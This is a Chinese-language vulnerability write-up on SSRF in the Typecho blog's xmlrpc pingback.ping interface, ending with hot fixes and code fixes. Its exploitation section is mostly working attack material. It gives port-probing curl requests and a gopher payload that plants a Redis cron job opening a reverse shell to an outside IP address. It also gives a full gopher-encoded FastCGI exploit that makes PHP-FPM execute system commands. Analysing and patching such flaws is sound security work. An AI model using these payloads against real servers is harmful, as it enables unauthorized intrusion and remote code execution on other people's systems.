1.前言
最近,WAF捕获到一条SSRF攻击payload,发现被攻击的域名是一个Typecho的博客系统。然后就去Google了下Typecho SSRF
关键字,发现和WordPress一样,xmlrpc也存在同样的SSRF问题。
本文所有测试均在以下测试环境:
Typecho 1.0 (14.10.10) 最新Release版本
CentOS 7
libcurl/7.29.0
Redis server v=3.2.10
2. 漏洞原理
xmlrpc这个接口是给第三方软件读写文章使用,且Typecho默认有该功能,并无设置选项。
2.1 代码分析
漏洞URL:http://localhost/action/xmlrpc
。POST提交以下Payload:
<?xml version="1.0" encoding="utf-8"?><methodCall> <methodName>pingback.ping</methodName> <params> <param> <value> <string>http://127.0.0.1:2222</string> </value> </param> <param> <value> <string>joychou</string> </value> </param> </params></methodCall>
收到源地址服务器错误
这样的错误返回。
代码里搜索源地址服务器错误
,发现只有var/Widget/XmlRpc.php
文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)
函数即可,该函数的$source
参数为http://127.0.0.1:2222
,$target
为joychou
先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。
XmlRpc.php
if (!($http = Typecho_Http_Client::get())) { return new IXR_Error(16, _t('源地址服务器错误')); }
get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。
var/Typecho/Http/Client.php
public static function get(){ $adapters = func_get_args(); if (empty($adapters)) { $adapters = array(); $adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php'); foreach ($adapterFiles as $file) { $adapters[] = substr(basename($file), 0, -4); } } foreach ($adapters as $adapter) { $adapterName = 'Typecho_Http_Client_Adapter_' . $adapter; if (Typecho_Common::isAvailableClass($adapterName) && call_user_func(array($adapterName, 'isAvailable'))) { return new $adapterName(); } } return false; }
回到XmlRpc.php,$http->setTimeout(5)->send($source);
该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_PORT, $this->port); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。
2.2 代码整体逻辑
程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用
如果cURL返回失败或者返回成功后但状态码不是200,返回
源地址服务器错误
如果cURL返回成功,并且状态码为200,如果没有
x-pingback
头,返回源地址不支持PingBack
,如果有x-pingback
头,就继续往下判断。
try { $http->setTimeout(5)->send($source); $response = $http->getResponseBody(); if (200 == $http->getResponseStatus()) { if (!$http->getResponseHeader('x-pingback')) { preg_match_all("/<link[^>]*rel=[\"']([^\"']*)[\"'][^>]*href=[\"']([^\"']*)[\"'][^>]*>/i", $response, $out); if (!isset($out[1]['pingback'])) { return new IXR_Error(50, _t('源地址不支持PingBack')); } } } else { return new IXR_Error(16, _t('源地址服务器错误')); } } catch (Exception $e) { return new IXR_Error(16, _t('源地址服务器错误')); }
3. 漏洞利用
3.1 端口探测
所以,可以根据返回码,我们可以来探测端口。
返回
源地址服务器错误
,端口不开启。返回
源地址不支持PingBack
或者其他错误,端口开启。
3.1.1 探测Redis端口
curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:6379</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'
返回:
<?xml version="1.0"?><methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value><int>16</int></value> </member> <member> <name>faultString</name> <value><string>源地址服务器错误</string></value> </member> </struct> </value> </fault></methodResponse>
所以,这就很尴尬,php curl对http://127.0.0.1:6379
发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误
。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…
而且用时间差测试,端口是否有无,时间差几乎一样。
3.1.2 探测Web服务
python开一个2222的Web服务python -m SimpleHTTPServer 2222
payload:
curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:2222</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'
返回源地址不支持PingBack
,说明端口开启。
<?xml version="1.0"?><methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value><int>50</int></value> </member> <member> <name>faultString</name> <value><string>源地址不支持PingBack</string></value> </member> </struct> </value> </fault></methodResponse>
3.2 攻击Redis
EXP中由于带有&
字符,需要使用CDATA。
<?xml version="1.0" encoding="utf-8"?><methodCall> <methodName>pingback.ping</methodName> <params> <param> <value> <string><![CDATA[gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/47.89.25.236/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a]]></string> </value> </param> <param> <value> <string>joychou</string> </value> </param> </params></methodCall>
3.3 攻击FastCGI
3.3.1 利用条件
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径
由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。
https://curl.haxx.se/changes.html#7_45_
Fixed in 7.45.0 - October 7 2015
gopher: don't send NUL byte
3.3.2 转换为Gopher的EXP
监听一个端口的流量 nc -lvv 2333 > 1.txt
,执行EXP,流量打到2333端口
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php
urlencode
f = open('1.txt')ff = f.read()from urllib import quoteprint quote(ff)
得到gopher的EXP
%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00
执行EXP
curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00'
4. 修复
4.1 热修复
如果不用第三方软件发文章,可将/action/xmlrpc接口用Nginx 403掉
if ($uri ~ ^/action/xmlrpc$) {return 403;}
WAF拦截
4.2 代码修复
限制协议为HTTP/HTTPS
判断IP是否是内网
Curl.php和Socket.php都要修改